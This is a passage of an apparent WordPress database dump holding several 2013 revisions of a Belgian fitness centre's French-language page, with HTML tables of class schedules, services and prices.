style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:32:37', '2013-07-03 16:32:37', '', 11, 'http://www.crosstrainingcenter.be/?p=168', 0, 'revision', '', 0),
(172, 1, '2013-07-03 16:35:39', '2013-07-03 16:35:39', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:35:39', '2013-07-03 16:35:39', '', 11, 'http://www.crosstrainingcenter.be/?p=172', 0, 'revision', '', 0),
(187, 1, '2013-07-03 17:33:38', '2013-07-03 17:33:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;\r\nEn semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td 